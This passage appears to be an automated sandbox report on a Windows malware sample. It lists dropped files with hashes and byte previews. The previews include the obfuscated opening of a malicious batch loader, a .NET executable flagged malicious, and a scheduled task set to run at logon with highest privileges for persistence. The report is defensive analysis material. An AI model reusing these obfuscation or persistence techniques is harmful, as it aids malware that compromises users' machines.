C:\Windows\$nya-onimai2\$nya-Onimai.bat (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (3583), with CRLF line terminators
Category:	dropped
Size (bytes):	7309406
Entropy (8bit):	6.016969361705345
Encrypted:	false
SSDEEP:	49152:RjtZxa9XGka7V+vlw0ELOZA1NEITyfi7SlSjncYHEJ9MFrbwjMxGQMH+INp1YHpy:Y
MD5:	F3454E2CB275019527E248CB08111111
SHA1:	4180893CCA4DCE02E0BBEAB52B5A099201DB5FFB
SHA-256:	0999322E8A2A984B5400544B31A91AE8DD49B362A2517FE497A8E1455DE07D8F
SHA-512:	489A89AB9D9A1423CCD18931F74707851D4E3ADD00306F7BDCCCE511DE308D1FABC14CB734925D78609FD522402E9ABEA1106B1765D5C90A27C32A2A5889C7CC
Malicious:	false
Preview:	@echo off..%hHWGUYBuKQfdXizhnralBipksPqZjjVATDyHbfvAfWacuRgvQmYUuhvZsMoeH%@%lAUEjtJSghWAfEhmPAJUiWlbgMizpoQrTDLAiPHM%%YgQYUbQRgXOuMtooTyxlkCRrEGCTGdaSWikQvdlKrHjrcWgkwl%e%qkBBvoztnzWkcWVxDixTPnMTC%%AoIzswvOJIvGPCVKXluwgugyDbZrzd%c%IZbOkLOgAPnnncXtVYfpAyfmfijWqxdpGkN%%NNLYjeUHThTwFIdttNXjTPJcBRQcMXGcppFimgfvDytXo%h%qIuJWSnDOYeIxsoRUVAQhqcVgmIBFuvLNOAhIcbOPLBHdDJNhMD%%wxFaGzCKkLXtCsVIRhjSTMbvOuRCCUuTQXo%o%iABjzrEdNifLIbVZCLEKwkllHZ%%preCFeFzrFZtChXHGp% %UBYuqfsDTYppBzjo%%JGAGdBEtDsbDzCEWBfGrXNwmALBcqxTtTlXaPzQZtaNNratvKs%o%tCXOWjngra%%dfyIJoFDhcpGXXZIVzsfrXxARVwbRBtyZRWHpJqe%f%glXdVaRWAsGZUlfHXQOSDMGJRHfastmjnpkMAwVUEeqiMyfGRZrSCm%%tFomoUREhgwLEathBVTnzw%f%WsCzjsbtHbdRhljHaNzibpNAFxSQWIYMXh%..%ULvImfMPKBjmWrnTAZnvGEcTLAlwY%s%qTZTpWEfncpA%%ZwlVyJOyNJMLp%e%BXMUqQHkpmcbrovLkggBcwzENNkEDjnhamdhBiYJvOhYTwr%%cbyFFNGexigCGcHfZUbelnkbhxgopALqwKBBK%t%CnGZKtcwcshbYYumoPQxyiGsOXxPfWBfussOymDRZKuNg%%BMVjvMKnitGnkNWmqgRbHGFG%l%cmZxNOTlBvKUVAOvgjYilcPVNuoWfGVgpwtALQvFMbJslruFcGA%%GyCawdJtAWgUzDEzhoJqO

C:\Windows\$nya-onimai2\IhrFKM.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	4.3900594222407125
Encrypted:	false
SSDEEP:	384:VZCSSrPcfu1FIyBl3pdSRf+yTq5+9f2sMbRAxzQ1yTkepoeL80bk20OzSIS+gL0i:VZArPDDIulZdSRWfY9f/hngDU2/t7
MD5:	B943A57BDF1BBD9C33AB0D33FF885983
SHA1:	1CEE65EEA1AB27EAE9108C081E18A50678BD5CDC
SHA-256:	878DF6F755578E2E79D0E6FD350F5B4430E0E42BB4BC8757AFB97999BC405BA4
SHA-512:	CB7253DE88BD351F8BCB5DC0B5760D3D2875D39F601396A4250E06EAD9E7EDEFFCD94FA23F392833F450C983A246952F2BAD3A40F84AFF2ADC0F7D0EB408D03C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: Hydra.ccLoader.bat, Detection: malicious, Browse Filename: NhoqAfkhHL.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...GB..........."...0.................. ....@...... ....................................`...@......@............... ............................................................................................................................... ..H............text........ ...................... ..`.rsrc...............................@..@........................................H......................................................................ga..G..I..6..+......6.2..5.tK@.g1.9.....Q...@a..W1...}.... .d......</.X....m..Zg.."."^.F..0......G.c.....(D..(....G...u.KM...........D.\|/..J3....?.vMl.-.P...)...RZ..-....\|.0.x.....D.....>...G...C..e.....IZem...s....\|.l~.c........<d...y.W..E..2.&c\z..Z.......................................................................................%%........;m2....2m;............................................

C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (3583), with CRLF line terminators
Category:	dropped
Size (bytes):	7309406
Entropy (8bit):	6.016969361705345
Encrypted:	false
SSDEEP:	49152:RjtZxa9XGka7V+vlw0ELOZA1NEITyfi7SlSjncYHEJ9MFrbwjMxGQMH+INp1YHpy:Y
MD5:	F3454E2CB275019527E248CB08111111
SHA1:	4180893CCA4DCE02E0BBEAB52B5A099201DB5FFB
SHA-256:	0999322E8A2A984B5400544B31A91AE8DD49B362A2517FE497A8E1455DE07D8F
SHA-512:	489A89AB9D9A1423CCD18931F74707851D4E3ADD00306F7BDCCCE511DE308D1FABC14CB734925D78609FD522402E9ABEA1106B1765D5C90A27C32A2A5889C7CC
Malicious:	true
Preview:	@echo off..%hHWGUYBuKQfdXizhnralBipksPqZjjVATDyHbfvAfWacuRgvQmYUuhvZsMoeH%@%lAUEjtJSghWAfEhmPAJUiWlbgMizpoQrTDLAiPHM%%YgQYUbQRgXOuMtooTyxlkCRrEGCTGdaSWikQvdlKrHjrcWgkwl%e%qkBBvoztnzWkcWVxDixTPnMTC%%AoIzswvOJIvGPCVKXluwgugyDbZrzd%c%IZbOkLOgAPnnncXtVYfpAyfmfijWqxdpGkN%%NNLYjeUHThTwFIdttNXjTPJcBRQcMXGcppFimgfvDytXo%h%qIuJWSnDOYeIxsoRUVAQhqcVgmIBFuvLNOAhIcbOPLBHdDJNhMD%%wxFaGzCKkLXtCsVIRhjSTMbvOuRCCUuTQXo%o%iABjzrEdNifLIbVZCLEKwkllHZ%%preCFeFzrFZtChXHGp% %UBYuqfsDTYppBzjo%%JGAGdBEtDsbDzCEWBfGrXNwmALBcqxTtTlXaPzQZtaNNratvKs%o%tCXOWjngra%%dfyIJoFDhcpGXXZIVzsfrXxARVwbRBtyZRWHpJqe%f%glXdVaRWAsGZUlfHXQOSDMGJRHfastmjnpkMAwVUEeqiMyfGRZrSCm%%tFomoUREhgwLEathBVTnzw%f%WsCzjsbtHbdRhljHaNzibpNAFxSQWIYMXh%..%ULvImfMPKBjmWrnTAZnvGEcTLAlwY%s%qTZTpWEfncpA%%ZwlVyJOyNJMLp%e%BXMUqQHkpmcbrovLkggBcwzENNkEDjnhamdhBiYJvOhYTwr%%cbyFFNGexigCGcHfZUbelnkbhxgopALqwKBBK%t%CnGZKtcwcshbYYumoPQxyiGsOXxPfWBfussOymDRZKuNg%%BMVjvMKnitGnkNWmqgRbHGFG%l%cmZxNOTlBvKUVAOvgjYilcPVNuoWfGVgpwtALQvFMbJslruFcGA%%GyCawdJtAWgUzDEzhoJqO

C:\Windows\System32\Tasks\$nya-mW41WeM4

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	3494
Entropy (8bit):	3.5831244567466025
Encrypted:	false
SSDEEP:	96:tpndEnkp2Gdi3ipVA9ll7EhAMz3cHtgjy++:zUkYx39OhO6jy++
MD5:	1AEDAA154572FE5FA7B54B46201EA461
SHA1:	7997B0C3E59B5279980C562D8E49D72958EAA1C3
SHA-256:	FD2D61CFEAF1A26584E87DAD98D3B1E0C549F31CF5FC52756DC70ECBBF83CC50
SHA-512:	B9F907A00346F2FE609B39023854C6779154F70B46FDB15DCEC82E3D6322256EDB8C6CE056C1B4644A075B935B9F0C18EFE26BA17984E4614F1B8129F224F476
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.4.-.1.2.-.1.3.T.0.8.:.5.1.:.2.6...8.6.8.-.0.5.:.0.0.<./.D.a.t.e.>..... . . . .<.U.R.I.>.\.$.n.y.a.-.m.W.4.1.W.e.M.4.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . . . . .<.R.u.n.L.e.v.e.l.>.H.i.g.h.e.s.t.A.v.a.i.l.a.b.l.e.<./.R.u.n.L.e.v.e.l.>..... . . . . . .<.G.r.o.u.p.I.d.>.b.u.i.l.t.i.n.\.U.s.e.r.s.<./.G.r.o.u.p.I.d.>..... . . . .<./.P.r.i.n.c.i.p.a.l.>..... .

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	3.7107512989834324
Encrypted:	false
SSDEEP:	96:pYMguQII4ia6h4aGdinipV9ll7UY5HAmzQ+:9A4K/xne7HO+
MD5:	6FA3F01E12DBB14B7D4E2E143346D0AE
SHA1:	1870528ED0891D6E7D8397ECC095AD99934D6640
SHA-256:	6F04F9717F6199BDE17B98B982805EB34DB274B13F81376BD1F757963436ABF5
SHA-512:	624C29E2D721A8BBDC30D30B46EF3D585C65D32DCD6AEC5EAE08A9E2F8EFC1A447C32B6C170E30730B0E685FE6C44131E955783A5BF6655FC23B892FCDD824A8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...6.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.S.o.u.r.c.e.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.S.o.u.r.c.e.>..... . . . .<.A.u.t.h.o.r.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.A.u.t.h.o.r.>..... . . . .<.V.e.r.s.i.o.n.>.1...0.<./.V.e.r.s.i.o.n.>..... . . . .<.D.e.s.c.r.i.p.t.i.o.n.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.1.).<./.D.e.s.c.r.i.p.t.i.o.n.>..... . . . .<.U.R.I.>.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.o.f.t.w.a.r.e.P.r.o.t.e.c.t.i.o.n.P.l.a.t.f.o.r.m.\.S.v.c.R.e.s.t.a.r.t.T.a.s.k.<./.U.R.I.>..... . . . .<.S.e.c.u.r.i.t.y.D.e.s.c.r.i.p.t.o.r.>.D.:.P.(.A.;.;.F.A.;.;.;.S.Y.).(.A.;.;.F.A.;.;.;.B.A.).

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.974654678850856
Encrypted:	false
SSDEEP:	6:kKZHvg9dgn8JFN+SkQlPlEGYRMY9z+s3Ql2DUevat:Rvgng3kPlE99SCQl2DUevat
MD5:	B7300F3E3E8A2D8ADE4F0F1DE88BA69F
SHA1:	CA19A1DBA7E470D5B076D73C352C55BEFD7E0EB4
SHA-256:	9A47036AE0A84B509D85A617EB666D77C38F6EF5535AD077C010BA66B558387D
SHA-512:	847EAB70357F3BB1F8C2DE216534D92FDE1A04C9692EA752DE540A192BC7A8FFD83C61EC7EC04EEDC6C0A9FECB0C419D07707B7862B2DFA7E9F0F7DFBEA702F8
Malicious:	false
Preview:	p...... ............Z...(...............`._.ZM..`b...M..`..G.M..........`b...M.. .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	74512
Entropy (8bit):	4.035832365719781
Encrypted:	false
SSDEEP:	768:Jnfmf+nfmfKgac4bIAbP5AAKP5qf5AKP5dfvoXfSPfm4fGfuszpfn8ynfmfF:3cWHbPNKPTKP3GbzF89
MD5:	0DECA055FE2A6121E7C0211467711C3D
SHA1:	797CB44D3F93774965854C1B7675E35D25CB0A73
SHA-256:	AAF9FBE3C5AA039CFC5BF196288D11F2A568FC3385E5C2AFAD2666CBD3E6FE5B
SHA-512:	06B13139DA590BC408D5C89B0D5D7B717361BA7DC22072A3D8486E3D4E9DB5F1EA4C31887073A99732075C13EF28BB8A67608207F68B71B8620886DAE247D6D3
Malicious:	false
Preview:	ElfChnk.................E.......H....................f.......................................................................k. ............................................=...........................................................................................................................g...............@...........................n...................M...]...........................p...............&...........&...................................................&.......................................**..0...E...........ZM.........r..&........r....6\..."(.M........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 329, DIRTY
Category:	dropped
Size (bytes):	123792
Entropy (8bit):	4.089957956157054
Encrypted:	false
SSDEEP:	1536:IHi6xadptrX9WP+gQHi6xadptrX9WP+g:tptrX9WP+glptrX9WP+g
MD5:	17BD618833710CFA993F02774FE1EE67
SHA1:	ED7DC7A37188C0D1BA6EB06DDFBB77758E17087D
SHA-256:	490EB67644FB9A2714A49624086CBC3F60138014A02C4D720AB3F94D36295E3F
SHA-512:	C376DA073877665F43F59C9390B5515B3F956AE5A4F2D6E08726311ED45BF0749DE8F387C7CA0D7DEBC44C43A6D7AEEAC993D287DCEBA6B96F2515D8FC47D5F3
Malicious:	false
Preview:	ElfFile.................I....................................................................................................2..ElfChnk.........J...............J...........x.........C.....................................................................sa.................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.396148699263237
Encrypted:	false
SSDEEP:	384:jhONk2SCNCrN0KNoBNoiNKNosaNjN4N9NRNCN8NoNjNUNONXN6N6LNvgN1NkNWzP:jgS5itAsZ2DCIEzVFNtPp
MD5:	1714E9F375BF402E9FF7644ED82EC285
SHA1:	ECB3A4495CEBE4F270C8D94553F027A36F50C42B
SHA-256:	20C6A11A8C455A4E4077CC61001BED7C0DD4E6F4FAADBCAD8DDF9A31406F1051
SHA-512:	A376B10C14E4EF653991874DE0D730768CC8D9BD49D8C348EED40CD184DA0C2AB47022B0AF6841B0F260598927C63271550A9B2C30F6A0DB1F6A3F830FC16576
Malicious:	false
Preview:	ElfChnk.v...............v...................p.......T..q......................................................................D&................4.......................\...=...........................................................................................................................f...............?...........................m...................M...F...................}.......................}.......................&...M.......M...........................}...................m...................**......v........^.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66960
Entropy (8bit):	4.276569056664267
Encrypted:	false
SSDEEP:	384:aV+VhhpVAVqVjVWVscVcVtVrV51VgVTV/VZVXKVNVjVyVlF/vVIVtVQVwVEV+VpW:Bb8xf4BsuMgku
MD5:	293DC750C5F94575EC83FE0AD210A9F1
SHA1:	B9CC6747D060865D1775BC969CB3A1BE4387D3EB
SHA-256:	F5EC424EF8678404DEEEC112DB706CDFBD2402124D7618CEE20980DD1438DA9C
SHA-512:	7C9FE2BF6E09D66C3F59288F0578AA7E0CA34F152DD54B8037334D323C230DAEB0B5B52F86E6FDA0793CD785EFB16A87DB47967E173E281C7B1266AFEE79F4F1
Malicious:	false
Preview:	ElfChnk.........G...............G....................-......................................................................N...................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F....................................................'..............&.......................................................................%............F......./...ZM..........E!&...............................................................@.......X...a.!.....E..........@/...ZM.....`...IY..`...........F....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p..........G.......1...ZM..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67008
Entropy (8bit):	4.402627845753247
Encrypted:	false
SSDEEP:	384:48hmOm7hImkmAymRvmVkcmhTiYmBmgmUmWmBmbm4my7mcEZmZmtmZ4mRmKmdm5mh:KxkrTiZz+9hZ/+7TSPnSKn
MD5:	D4983ED0FEA0501D7D3401BBE1515CDB
SHA1:	50CB5E50BDA623C01250F05CEBB1036442B6DC6E
SHA-256:	3763F35DAF2433CC5AF4C3328E8B2B881AC9B9312164146C22ED50845486EE51
SHA-512:	5D888964B302E67A65B893C6647E120CBAC36E2006E0FA261B3AEE29A316D6239F6760243CEAAEB676DF3F8405F0437D7712875B6D6917C134B15783AA38108B
Malicious:	false
Preview:	ElfChnk.....................................0........&......................................................................p...................b...........................=...........................................................................................................................f...............?...........................m...................M...F................................i...&...,...........................7..................................;...c#..{1..k:...................v..........................o.ZM..........E!&...............................................................N.......d..._.!.....[..........@..o.ZM.....`.......`.......0........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.-.S.e.r.v.e.r.9.G?...J...]..-CM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.S.e.r.v.e.r./.O.p.e.r.a.t.i.o.n.a.l...e$W..R......................(.....................s.v.c.h.o.s.t...e.x.e.,.S.t.o.r.S.v.c.......r.v..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.45809385281512843
Encrypted:	false
SSDEEP:	96:eNVaO8sMa3Z85ZMLgrjjIZ3Z85ZQu3Z85ZV3Z85Zu:oV7pp8nMLEvUp8nDp8nVp8n
MD5:	67403F43DBEA39FD58964CF1041F8131
SHA1:	A916F3AA4BC79FB6BAC000481F9EB57C9F0499D3
SHA-256:	7225E069BD47A60AA8785E06EA1396A18D27792941C349EC8D483E923FE1D9BE
SHA-512:	50D1F388FA4A33BE6C40DB73122E4FFB05B66BAC8F90D531A669C8163E12AD691EDEA48F39AD099B54D33E858D38497635A3750AB9F16926F94CE65C5230853C
Malicious:	false
Preview:	ElfChnk.....................................P.......GK........................................................................\|.............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.248110473220085
Encrypted:	false
SSDEEP:	1536:YbBN2A4VD7VAx8whAGU2woJQghYAxgRzAlUnF9:
MD5:	87681F2AD6FCB19982924DCE6A2D7A27
SHA1:	6C4D49C5504D6DE6E63B44753C607B3362B79B57
SHA-256:	1CA289F8F7FD7DD1D67EDA5691EF4B083120E456204CC8F6923AFCCD700183BC
SHA-512:	8F1309E5DD7B017945ABF5EB7E869AA1C04A27C37DB7C3A735A2CB31D815B67643D37DAD93FB89FFF2B6BC213EAE1E55201075DAEAFA39A6B1656A214990DEBA
Malicious:	false
Preview:	ElfChnk.........]...............]...............0...........................................................................>...............................................=...................................................................................%.......................................X...............?...............................................M...F.......................................................................................>...........................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.625347651139654
Encrypted:	false
SSDEEP:	1536:+XY5nVYIyyqED5BVZUevOBtNPhPVwCRPvf:+XY5nVYIyyqED5BVZUevOBtNPhPVwChf
MD5:	890CA9963C766DA05E491710E1CD9D7F
SHA1:	3F95AB4363D5DB533E60748F69A364196BAC8920
SHA-256:	47523E0AC40BC366CD0A86BE9A72ECEF3A72EE7D430B25A61D8DF55341C19531
SHA-512:	C2D739AE5ABF76C627DA8B863CC73FF31F7C7733138DB2954A3102377FD0270F69FE269EEAE0DE4172E53E194C3B71791CD09B36F880DC726665004FD9C6A07F
Malicious:	false
Preview:	ElfChnk.........................................`....:..........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......v.......................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	91352
Entropy (8bit):	2.4880174975789817
Encrypted:	false
SSDEEP:	384:Qhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorBort6ohorRorsor1orG:QDCRuZDCRuk+Y
MD5:	9E5479C45CC6713E78AA824BD194C7C5
SHA1:	ED69C694D0B3A9183ACAE76E5AE0E22EEA9CFB92
SHA-256:	4F3641CE42682B4F0D64154CFB92CD14D67C278F92B815BC4BDDD986071219DD
SHA-512:	FE6D2CCEE270527A5A125D2CE2504AF4A0E7829AD4800BF43D9CD23B49F313F67EE7EEA45457CDA7D85AEDADFD426D92061D5BFE3FEB04E81DDDA8219EF71D09
Malicious:	false
Preview:	ElfChnk.....................................hJ...L..@.."........................................................................................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................E/..............])..............................**...............k...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 8448-1024, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset 0.000000, slope 207715216474546355539665747968.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8526226240352849
Encrypted:	false
SSDEEP:	384:YhAiPA5PNPxPEPHPhPEPmPSPRP3PoPqP7DPfPqP/P:Y2NP
MD5:	585F5E645713292DF375B49B2BDC28EA
SHA1:	42531DC7FEDA50E16705A1260EC70B5AD7015FCB
SHA-256:	E16C3A02C9E22074AE98621BB170E12D41A54187FCC6D53B5600F5712F37A9FF
SHA-512:	0C0008188EC621D5FE00CF9211729347A941AF2DE55DA3333114D83B4D181FB8792C64FA0F62309660F51FF26349684D35EAC0A4E0FE98898D1C03CAAB65B434
Malicious:	false
Preview:	ElfChnk......................................%...&...A..................................................................... p..................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................................'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8442469423268683
Encrypted:	false
